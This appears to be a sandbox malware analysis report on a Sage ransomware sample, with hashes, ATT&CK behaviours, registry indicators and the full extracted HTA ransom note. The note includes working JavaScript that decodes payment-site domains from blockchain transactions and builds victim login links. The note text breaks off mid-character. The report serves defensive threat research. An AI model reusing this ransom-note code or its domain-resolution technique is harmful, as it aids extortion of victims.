sage | 943bf3b02289d5ac524bd1b6116d1235ba27f4b6398426212166bb9cf151b213

Analysis

max time kernel
149s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
16/10/2026, 04:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Size 254KB
Sample261016-ev5ddag19m
SHA256 943bf3b02289d5ac524bd1b6116d1235ba27f4b6398426212166bb9cf151b213
MD5 4b6c86ca42e1d86926d82ebaba927a84
SHA1 143fe213b97617cda329e8e2164ecf125811922b
SHA512 26bdcd157d8fee7b0a7c1e44ab016d2ee53f01abbcc30ca63b2d28d748fb778e603070093c58e42c820240d1e75489a39318c20d1f0cbe8f25616b16972d3df1
SSDEEP 3072:ShJIfTTtKvMm7+yjaiiJmVXZUoGgGN0kaPreqJT2L4un4OFw6uVNq+aPG:ShJioZjaiiJm1LGgeOne48AVcRO
TLSH
T1D34414A8EB8426F4D89740B77608692507C21CFA7E8EF30622C57E5E357A51D30D2EB7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution sage impact persistence privilege_escalation ransomware

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Roaming\JoinEdit\!HELP_SOS.hta

Ransom Note

<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>Decryption Instructions</title> <HTA:APPLICATION ID='App' APPLICATIONNAME="Decryption Instructions" SCROLL="yes" SINGLEINSTANCE="yes" WINDOWSTATE="maximize"> <style> a { color: #04a; text-decoration: none; } a:hover { text-decoration: underline; } body { background-color: #e7e7e7; color: #222; font-family: "Lucida Sans Unicode", "Lucida Grande", sans-serif; font-size: 12pt; line-height: 16pt; } body, h1 { margin: 0; padding: 0; } h1 { color: #555; text-align: center; padding-bottom: 1.5em; line-height: 1.2; } h2 { color: #555; text-align: center; line-height: 1.2; } ol li { padding-bottom: 13pt; } .container { background-color: #EEE; border: 2pt solid #C7C7C7; margin: 3%; min-width: 600px; padding: 5% 10%; color: #444; } .filecontainer{ padding: 5% 10%; display: none; } .header { border-bottom: 2pt solid #c7c7c7; padding-bottom: 5%; } .hr { background: #bda; display: block; height: 2pt; margin-top: 1.5%; margin-bottom: 1.5%; overflow: hidden; width: 100%; } .key{ background-color: #A1D490; border: 1px solid #506A48; display: block; text-align: center; margin: 0.5em 0; padding: 1em 1.5em; word-wrap: break-word; } .keys{ margin: 3em 0; } .filename{ border: 3px solid #AAA; display: block; text-align: center; margin: 0.5em 0em; padding: 1em 1.5em; background-color: #DCC; } .us{ text-decoration: strong; color: #333; } .info{ background-color: #E4E4E4; padding: 0.5em 3em; margin: 1em 0; } .text{ text-align: justify; } #file{ background-color: #FCC; } .lsb{ display: none; margin: 3%; text-align: center; } .ls{ border: 1px solid #888; border-radius: 3px; padding: 0 0.5em; margin: 0.2em 0.1em; line-height: 2em; display: inline-block; } .ls:hover{ background-color: #D0D0D0; } .l{ display:none; } .lu{ display:none; } </style> <script language="vbscript"> Function GetCmd GetCmd = App.commandLine End Function </script> <script language="javascript"> function openlink(url){ new ActiveXObject("WScript.Shell").Run(url); return false; } function aIndexOf(arr, v){ for(var i = 0; i < arr.length; i++) if(arr[i] == v) return i; return -1; } function tweakClass(cl, f){ var els; if(document.getElementByClassName != null){ els = document.getElementsByClassName(cl); } else{ els = []; var tmp = document.getElementsByTagName('*'); for (var i = 0; i < tmp.length; i++){ var c = tmp[i].className; if( (c == cl) || ((c.indexOf(cl) != 1) && ((' '+c+' ').indexOf(' '+cl+' ') != -1)) ) els.push(tmp[i]); } } for(var i = 0; i < els.length; i++) f(els[i]); } function show(el){ el.style.display = 'block'; } function hide(el){ el.style.display = 'none'; } var langs = ["en","de","it","fr","es","no","pt","nl","kr","ms","zh","tr","vi","hi","jv","fa","ar"]; function setLang(lang){ if(aIndexOf(langs, lang) == -1) lang = langs[0]; for(var i = 0; i < langs.length; i++){ var clang = langs[i]; tweakClass('l-'+clang, function(el){ el.style.display = (clang == lang) ? 'block' : 'none'; }); tweakClass('ls-'+clang, function(el){ el.style.backgroundColor = (clang == lang) ? '#BBB' : ''; }); } } function newXHR() { if (window.XMLHttpRequest) return new window.XMLHttpRequest; try { return new ActiveXObject("MSXML2.XMLHTTP.3.0"); } catch(error) { return null; } } function getPage(url, cb) { try{ var xhr = newXHR(); if(!xhr) return cb('no xhr'); xhr.onreadystatechange = function() { if(xhr.readyState != 4) return; if(xhr.status != 200 || !xhr.responseText) return cb(xhr.status) cb(null, xhr.responseText); }; xhr.open("GET", url+((url.indexOf('?') == -1) ? "?" : "&") + "_=" + new Date().getTime(), true); xhr.send(); } catch(e){ cb(e); } } function decodeTxString(hex){ var m = '0123456789abcdef'; var s = ''; var c = 0xAA; hex = hex.toLowerCase(); for(var i = 0; i < hex.length; i+=2){ var a = m.indexOf(hex.charAt(i)); var b = m.indexOf(hex.charAt(i+1)); if(a == -1 || b == -1) throw hex[i]+hex[i+1]+' '+a+' '+b; s+= String.fromCharCode(c = (c ^ ((a << 4) | b))); } return s; } var OR = 'OP_RE'+'TURN '; var sources = [ {bp:'btc.b'+'lockr.i'+'o/api/v1/', txp:'tx/i'+'nfo/', adp:'add'+'ress/txs/', ptxs: function(json){ if(json.status != 'success') return null; var res = []; for(var i = 0; i < json.data.txs.length - 1; i++) res.push(json.data.txs[i].tx); return res; }, ptx: function(json){ if(json.status != 'success') return null; var os = json.data.vouts; for(var i = 0; i < os.length; i++) if(os[i].extras.asm.indexOf(OR) == 0) return decodeTxString(os[i].extras.asm.substr(10)); return null; } }, {bp:'ch'+'ain.s'+'o/api/v2/', txp:'get_t'+'x_out'+'puts/btc/', adp:'get_tx_uns'+'pent/btc/', ptxs: function(json){ if(json.status != 'success') return null; var res = []; for(var i = json.data.txs.length - 1; i >= 0; i--) res.push(json.data.txs[i].txid); return res; }, ptx: function(json){ if(json.status != 'success') return null; var os = json.data.outputs; for(var i = 0; i < os.length; i++) if(os[i].script.indexOf(OR) == 0) return decodeTxString(os[i].script.substr(10)); return null; } }, {bp:'bit'+'aps.co'+'m/api/', txp:'trans'+'action/', adp:'ad'+'dress/tra'+'nsactions/', adpb:'/0/sen'+'t/all', ptxs: function(json){ var res = []; for(var i = 0; i < json.length; i++) res.push(json[i][1]); return res; }, ptx: function(json){ var os = json.output; for(var i = 0; i < os.length; i++) if(os[i].script.asm.indexOf(OR) == 0) return decodeTxString(os[i].script.asm.substr(10)); return null; } }, {bp:'api.b'+'lockcyp'+'her.com/v1/b'+'tc/main/', txp:'txs/', adp:'addrs/', ptxs: function(json){ var res = []; var m = {}; for(var i = 0; i < json.txrefs.length; i++){ var tx = json.txrefs[i].tx_hash; if(m[tx]) continue; m[tx] = 1; res.push(tx); } return res; }, ptx: function(json){ var os = json.outputs; for(var i = 0; i < os.length; i++) if(os[i].data_hex != null) return decodeTxString(os[i].data_hex); return null; } } ]; function eachUntil(a,f,c){ var i = 0; var n = function(){ if(i >= a.length) return c('f'); f(a[i++], function(err, res){ if(err == null) return c(null, res); n(); }); }; n(); } function getJson(url, cb){ getPage(url, function(err, res){ if(err != null) return cb(err); var json; try{ if(window.JSON && window.JSON.parse){ json = window.JSON.parse(res); } else{ json = eval('('+res+')'); } } catch(e){ cb(e); } cb(null, json); }); } function getDomains(ad, cb){ eachUntil(sources, function(s, cb){ var url = 'http://'+s.bp; url+= s.adp+ad; if(s.adpb) url+= s.adpb; getJson(url, function(err, json){ if(err != null) return cb(err); try{ cb(null, s.ptxs(json)); } catch(e){ cb(e); } }); }, function(err, txs){ if(err != null) return cb(err); if(txs.length == 0) return cb('f'); eachUntil(txs, function(tx, cb){ eachUntil(sources, function(s, cb){ var url = 'http://'+s.bp+s.txp+tx; getJson(url, function(err, json){ if(err != null) return cb(err); try{ cb(null, s.ptx(json)); } catch(e){ cb(e); } }); }, function(err, res){ if(err != null) return cb(err); if(res == null) return cb('f'); cb(null, res.split(':')); }); }, cb); }); } function updateLinks(){ tweakClass('lu', hide); tweakClass('lu-updating', show); getDomains('1783wBG'+'sr'+'1zkxenfE'+'ELXA25PLSkL'+'dfJ4B7', function(err, ds){ tweakClass('lu', hide); if(err != null){ tweakClass('lu-error', show); return; } tweakClass('lu-done', show); var html = ''; for(var i = 0; i < ds.length; i++) html+= '<div class="key"><a href="http://z5dq36kjy5swjtmr.'+ds[i]+'/login/AQAAAAAAAAAADvNXEzh95uZj4_mSpt0PocngGNTA-Yis6XGSMHyICl_A" onclick="javascript:return openlink(this.href)">http://z5dq36kjy5swjtmr.'+ds[i]+'/</a></div>'; tweakClass('links', function(el){ el.innerHTML = html; }); }); return false; } function onPageLoaded(){ try{ tweakClass('lsb', show); }catch(e){} try{ tweakClass('lu-orig', show); }catch(e){} try{ setLang('en'); }catch(e){} try{ var args = GetCmd().match(/"[^"]+"|[^ ]+/g); if(args.length > 1){ var file = args[args.length-1]; if(file.charAt(0) == '"' && file.charAt(file.length-1) == '"') file = file.substr(1, file.length-2); document.getElementById('filename').innerHTML = file; show(document.getElementById('file')); document.title = 'File is encrypted'; } }catch(e){} } </script> </head> <body onload='javascript:onPageLoaded()'> <div class='lsb'> <span class='ls ls-en' onclick="javascript:return setLang('en')">English</span> <span class='ls ls-de' onclick="javascript:return setLang('de')">Deutsch</span> <span class='ls ls-it' onclick="javascript:return setLang('it')">Italiano</span> <span class='ls ls-fr' onclick="javascript:return setLang('fr')">Français</span> <span class='ls ls-es' onclick="javascript:return setLang('es')">Español</span> <span class='ls ls-no' onclick="javascript:return setLang('no')">Norsk</span> <span class='ls ls-pt' onclick="javascript:return setLang('pt')">Português</span> <span class='ls ls-nl' onclick="javascript:return setLang('nl')">Nederlands</span> <br/><span class='ls ls-kr' onclick="javascript:return setLang('kr')">한국어</span> <span class='ls ls-ms' onclick="javascript:return setLang('ms')">Bahasa Melayu</span> <span class='ls ls-zh' onclick="javascript:return setLang('zh')">中文</span> <span class='ls ls-tr' onclick="javascript:return setLang('tr')">Türkçe</span> <span class='ls ls-vi' onclick="javascript:return setLang('vi')">Tiếng Việt</span> <span class='ls ls-hi' onclick="javascript:return setLang('hi')">हिन्दी</span> <span class='ls ls-jv' onclick="javascript:return setLang('jv')">Basa Jawa</span> <span class='ls ls-fa' onclick="javascript:return setLang('fa')">فارسی</span> <span class='ls ls-ar' onclick="javascript:return setLang('ar')">العربية</span> </div> <div id='file' class='container filecontainer'> <div class='filename'> <div style='float:left; padding:18px 0'><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADEAAABACAYAAACz4p94AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAARCQAAEQkAGJrNK4AAAAB3RJTUUH4QEcFBoaYAOrHQAABThJREFUaN7tmlloXGUUx3/3ziRtTa2xcZ1gtaJFDFjtwSqllaKiiEilKOKDNS2UivXF+qD0QRBRUMQXN/TBBcFifahYFC0urfpghSMqaDSkdQMvojZpIk2zTMaHe776MZ17M6u9ozkwzAwz3/ed/9m+s9yABkhEUFX/+43ATcBy4FxgMdABTAB/Aj8CXwO7VfVdb10AlPy9aqGgTuYDVS3Z56XA48AtdWz1OrBdVQ82AiaoVfJATlWLIrIAeAbYWKciS975LwJ3q+pEJQ03DYRJKVDVGRFZCew0kylnqFaaAULgB+B2Vd1fru3ZKFcDAFS1JCLXA7uBMxs1S29t0fzn5kKhMBBF0WAURYgIURQ1DsIAhKaBVcAbwKk0l0JgGlgIrCkUChpF0U/VAgmrOCBvPrAEeBY4jdZQ3jRyDvCEiJxl2ne+mLowTQs5VZ0yJ95mobMaRx0A3gMGgSPAycCFwHXARQlrfKFeDjwMbG7IsT0zKorIauBtYFGFvxY9s3wZ2Kaqwyn7dgNPpkQ1t9/PwGZV3TNbxErThAOwCOhPADBtexwGNqrqrrR4bxFnBNgkIm8CrwFdCX66BNgA7KlLE2aDeVWdFpHlwPsVfMEBGAXuUtUd1YRGH6CIrLdAESZoYxC4Q1U/r8exQwMQAFdb+CuP7U6LO6oF4MK0d+47ZlpJfJ0HXFsm3OpB2HsPsCZBUtgF9VSZo85KFq7zqnrUTOq3ChYyA3QCq7x1NYFwZnYKsKJCFOqwz59YJKo5VTAmAQ4CuxKiHUCviCyryZzMhIqeOnsSDh8B9qnqTJqU0kKyAT8MfJwiyB5gWa0+ETjGgPOBeQkSGgG+rPdmM99wfjUEHEoA0Q0srRmEaSRv+VFHAogx84lGyO01ChxI+E8XcHq9aUdnhahU8uL471bszJoWVEFHbL8kHhfXCyIE5qesGXX+UW9F5mli0jSbRPMaAdGZ8vtUtSG1ykg1mXIRdzaaxVYjSU7kPmFKaAsq5DW+dBY2WAyV89GV8ntXran4tGfzW4B7K0grAI5WMIF6zAjgD2ATsDXhrPFaGwGZJhE59jrOPMraMIuBK4EzTFqlE8x7YNr6TFUP+dkwQCAiobuhRWQt8DTQl2FlfAtsVdW9DoyviUeA7U1owbSSfL4eU9UHjlVRInI/8FDGATizcvytLhQKQRRFewMRuQJ4y+y/Xcg13IaA/tBCWxftRe5+uwC4NQTWzpabZFgbAFeF1qzKtSEIp40+l+QFtC91hvwHaA7E/xlEKesgZrz6u19VA/eytH64FUGkmSCKtt8XwKWq+opL0GxE8AKwknh6mkkQ03bXRMTT0F9d7m/pfdGy5SHgPtclyRoIZyLfAR95APC6If4A5sOsgfB7UQe88jbJoceI+6+ZdeyOKrWWzxqIwJN+H/F8rlJDzR8XrMiyT1wM3OnX7V797oBeQzxYbF6lJCLTTcpi3fhrBNiiqjsrNCBuIx5Ozs+qT+SJW5vdxHPoS3yHlrjH8nyzAbTCsZ1ZjfPPoMa/DMdpAc0lgHMg2gREqcxPSrSoHdoqx+4Ceu3Sc4x3c/wkNpMgclZT9AIPisjZFl57gUeZZeKThcuuvDhyAppsFfOt9gl/385/w7FLtDmFwF9ebdxO5IQ/HBIPLabaGMT+kLitP9GGAELi4ecHIfAqyc9VZJWc+SvwUi6KorFCofANsA44qQ0AuEfrfgHuUdWB0IqWT4Ebml3At4hywPfAelXd5y47sIfY7XbdQNytuwxYkCHmR4GvgOfcM4fGL38Dzdjo/H/3PFAAAAAASUVORK5CYII=" style='padding:0 7.5px'/></div> <div> <h2 class='l l-en' style='display:block'>The file is encrypted but can be restored</h2><h2 class='l l-de' >Die Datei ist verschlüsselt, aber kann wiederhergestellt werden</h2><h2 class='l l-it' >Il file è crittografato, ma può essere ripristinato</h2><h2 class='l l-fr' >Le fichier est crypté mais peut être restauré</h2><h2 class='l l-es' >El archivo está encriptado pero puede ser restaurado</h2><h2 class='l l-no' >Filen er kryptert men kan bli gjenopprettet</h2><h2 class='l l-pt' >O arquivo está criptografado, mas poderá ser descriptografado</h2><h2 class='l l-nl' >Het bestand is versleuteld maar kan worden hersteld</h2><h2 class='l l-kr' >파일은 암호화되었지만 복원 할 수 있습니다</h2><h2 class='l l-ms' >Fail ini dienkripsikan tetapi boleh dipulih semula.</h2><h2 class='l l-zh' >文件已被加密，但是可以解密</h2><h2 class='l l-tr' >Dosya şifrelenmiş ancak geri yüklenebilir.</h2><h2 class='l l-vi' >Tập tin bị mã hóa nhưng có thể được khôi phục</h2><h2 class='l l-hi' >फाइल एनक्रिप्‍टड हैं लेकिन रिस्‍टोर की जा सकती हैं</h2><h2 class='l l-jv' >File ini dienkripsi tetapi dapat dikembalikan</h2><h2 class='l l-fa' >این فایل رمزگذاری شده است اما می تواند بازیابی شود</h2><h2 class='l l-ar' > الملف مشفر لكن من الممكن إسترجاعه </h2> <p><span id='filename'></span></p> </div> </div> <h2 class='l l-en' style='display:block'>The file you tried to open and other important files on your computer were encrypted by "SAGE 2.2 Ransomware".</h2><h2 class='l l-de' >Die Datei, die Sie öffnen wollten, und andere wichtige Dateien auf ihrem Computer wurden von "SAGE 2.2 Ransomware" verschlüsselt.</h2><h2 class='l l-it' >Il file che hai tentato di aprire e altri file importanti del tuo computer sono stati crittografati da "SAGE 2.2 Ransomware".</h2><h2 class='l l-fr' > Le fichier que vous essayez d’ouvrir et d’autres fichiers importants sur votre ordinateur ont été cryptés par "SAGE 2.2 Ransomware".</h2><h2 class='l l-es' >El archivo que intentó abrir y otros importantes archivos en su computadora fueron encriptados por "SAGE 2.2 Ransomware".</h2><h2 class='l l-no' >Filen du prøvde åpne og andre viktige filer på datamaskinen din ble kryptert av "SAGE 2.2 Ransomware".</h2><h2 class='l l-pt' >O arquivo que você está tentando acessar está criptografado, outros arquivos importantes em seu computador também foram criptografados por "SAGE 2.2 Ransomware".</h2><h2 class='l l-nl' >Het bestand dat je probeert te openen en andere belangrijke bestanden op je computer zijn beveiliged door "SAGE 2.2 Ransomware".</h2><h2 class='l l-kr' >컴퓨터에서 여는 파일 및 기타 중요한 파일은 "SAGE 2.2 Ransomware"에 의해 암호화되었습니다.</h2><h2 class='l l-ms' >Fail yang anda cuba buka dan fail penting yang lain di komputer anda telah dienkripskan oleh "SAGE 2.2 Ransomware".</h2><h2 class='l l-zh' >您试图打开的文件以及您计算机上的其它文件已经用"SAGE 2.2 Ransomware"进行了加密。</h2><h2 class='l l-tr' >Açmaya çalıştığınız dosya ve diğer önemli dosyalarınızı bilgisayarınızda "SAGE 2.2 Ransomware" tarafından şifrelenmiş.</h2><h2 class='l l-vi' >Tập tin mà bạn cố mở và những tập tin quan trọng khác trên máy tính của bạn bị mã hóa bởi "SAGE 2.2 Ransomware".</h2><h2 class='l l-hi' >वो फाइल जिसे आपने खोलने की कोशिश की और आपके कंप्‍यूटर पर बाकी महत्‍वपूर्ण फाइले हमारी ओर से इंक्रिप्टिड की गई हैं "SAGE 2.2 Ransomware"।</h2><h2 class='l l-jv' >File yang Anda coba untuk buka dan file penting lain di komputer Anda yang dienkripsi oleh "SAGE 2.2 Ransomware".</h2><h2 class='l l-fa' >فایلی که ش�

URLs

http://'+s.bp
http://'+s.bp+s.txp+tx

Signatures

Family: Sage
Sage is a ransomware that has been active since 2020.
ransomware sage
Contacts a large (7706) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Deletes itself 1 TTPs 1 IoCs

defense_evasion

File Deletion

T1070.004

pid	Process
2816	WScript.exe

Enumerates connected drives 3 TTPs 21 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\G:	explorer.exe
File opened (read-only)	\??\H:	explorer.exe
File opened (read-only)	\??\I:	explorer.exe
File opened (read-only)	\??\K:	explorer.exe
File opened (read-only)	\??\N:	explorer.exe
File opened (read-only)	\??\P:	explorer.exe
File opened (read-only)	\??\T:	explorer.exe
File opened (read-only)	\??\Y:	explorer.exe
File opened (read-only)	\??\D:	explorer.exe
File opened (read-only)	\??\L:	explorer.exe
File opened (read-only)	\??\O:	explorer.exe
File opened (read-only)	\??\Q:	explorer.exe
File opened (read-only)	\??\R:	explorer.exe
File opened (read-only)	\??\U:	explorer.exe
File opened (read-only)	\??\W:	explorer.exe
File opened (read-only)	\??\X:	explorer.exe
File opened (read-only)	\??\J:	explorer.exe
File opened (read-only)	\??\M:	explorer.exe
File opened (read-only)	\??\S:	explorer.exe
File opened (read-only)	\??\Z:	explorer.exe
File opened (read-only)	\??\V:	explorer.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
2720	WScript.exe
2816	WScript.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\z0R.bmp"	explorer.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 12 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4936	cmd.exe
1800	cmd.exe
4620	cmd.exe
2916	cmd.exe
3972	cmd.exe
2564	cmd.exe
3300	cmd.exe
4604	cmd.exe
5796	cmd.exe
5348	cmd.exe
4664	cmd.exe
1724	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe

System Location Discovery: System Language Discovery 1 TTPs 32 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wermgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wermgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wermgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wermgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wermgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wermgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies data under HKEY_USERS 30 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\G2PVA01Q	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\Software\G2PVA01Q\FnUIpxyF = 0ef35713387de6e663e3f992a6dd0fa1c9e018d4c0f988ace97192307c880a5f8fd0c3ef4ecad446c65d28e28a96856e615c1e7b1e423fea4e98842572ed38340100000000000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-19	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\G2PVA01Q	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\G2PVA01Q	explorer.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\AppDataLow\G2PVA01Q	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\Software\appdatalow\G2PVA01Q\FnUIpxyF = 0ef35713387de6e663e3f992a6dd0fa1c9e018d4c0f988ace97192307c880a5f8fd0c3ef4ecad446c65d28e28a96856e615c1e7b1e423fea4e98842572ed38340100000000000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\AppDataLow\G2PVA01Q	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\G2PVA01Q	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\AppDataLow\G2PVA01Q	explorer.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\G2PVA01Q\FnUIpxyF = 0ef35713387de6e663e3f992a6dd0fa1c9e018d4c0f988ace97192307c880a5f8fd0c3ef4ecad446c65d28e28a96856e615c1e7b1e423fea4e98842572ed38340100000000000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\G2PVA01Q	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\G2PVA01Q\FnUIpxyF = 0ef35713387de6e663e3f992a6dd0fa1c9e018d4c0f988ace97192307c880a5f8fd0c3ef4ecad446c65d28e28a96856e615c1e7b1e423fea4e98842572ed38340100000000000000	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\appdatalow\G2PVA01Q\FnUIpxyF = 0ef35713387de6e663e3f992a6dd0fa1c9e018d4c0f988ace97192307c880a5f8fd0c3ef4ecad446c65d28e28a96856e615c1e7b1e423fea4e98842572ed38340100000000000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\G2PVA01Q	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Key created	\REGISTRY\USER\S-1-5-20	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\AppDataLow\G2PVA01Q\FnUIpxyF = 0ef35713387de6e663e3f992a6dd0fa1c9e018d4c0f988ace97192307c880a5f8fd0c3ef4ecad446c65d28e28a96856e615c1e7b1e423fea4e98842572ed38340100000000000000	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\Software\G2PVA01Q\FnUIpxyF = 0ef35713387de6e663e3f992a6dd0fa1c9e018d4c0f988ace97192307c880a5f8fd0c3ef4ecad446c65d28e28a96856e615c1e7b1e423fea4e98842572ed38340100000000000000	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\appdatalow\G2PVA01Q\FnUIpxyF = 0ef35713387de6e663e3f992a6dd0fa1c9e018d4c0f988ace97192307c880a5f8fd0c3ef4ecad446c65d28e28a96856e615c1e7b1e423fea4e98842572ed38340100000000000000	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Key created	\REGISTRY\USER\.DEFAULT	explorer.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\AppDataLow\G2PVA01Q\FnUIpxyF = 0ef35713387de6e663e3f992a6dd0fa1c9e018d4c0f988ace97192307c880a5f8fd0c3ef4ecad446c65d28e28a96856e615c1e7b1e423fea4e98842572ed38340100000000000000	explorer.exe
